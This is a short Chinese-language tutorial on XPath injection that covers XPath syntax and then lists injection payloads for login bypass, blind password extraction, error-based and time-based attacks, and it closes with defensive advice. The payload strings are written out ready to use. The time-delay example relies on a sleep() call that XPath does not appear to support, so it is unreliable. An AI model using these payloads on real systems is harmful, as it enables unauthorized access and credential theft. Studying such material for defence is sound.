插件窝 干货文章 xPath注入的基础语法有哪些

xPath注入的基础语法有哪些

XPath 注入 节点 字符串 409    来源:    2025-04-22

XPath注入基础语法

XPath注入是一种利用XPath查询语言漏洞的攻击技术,类似于SQL注入。以下是XPath注入的基础语法和常见技巧:

基本XPath语法

  1. 节点选择

    • / - 从根节点开始
    • // - 选择文档中所有匹配的节点
    • . - 当前节点
    • .. - 父节点
  2. 谓词(过滤条件)

    • [条件] - 用于过滤节点
    • 例如://user[username='admin']

XPath注入常用技术

  1. 布尔盲注

    //user[username='admin' and substring(password,1,1)='a']
    //user[username='admin' and string-length(password)=8]
    
  2. 条件注入

    ' or 1=1 or 'a'='a
    ' or true() or '
    
  3. 字符串连接

    concat('adm','in')
    
  4. 注释绕过

    ' or 1=1 (: 注释 :)
    
  5. 函数利用

    • substring() - 提取子字符串
    • string-length() - 获取字符串长度
    • contains() - 检查是否包含子字符串
    • starts-with() - 检查是否以某字符串开头

实际注入示例

  1. 简单注入

    //user[username='' or '1'='1' and password='' or '1'='1']
    
  2. 提取信息

    //user[username='admin']/password
    
  3. 基于错误的注入

    ' or count(/*)=1 or 'a'='a
    
  4. 时间延迟注入

    //user[username='admin' and (if (substring(password,1,1)='a') then true() else sleep(5))]
    

防御建议

  1. 对用户输入进行严格验证和转义
  2. 使用参数化XPath查询
  3. 实施最小权限原则
  4. 避免在XPath中使用用户提供的输入直接构建查询

请注意,这些信息仅供学习防御XPath注入攻击使用,切勿用于非法用途。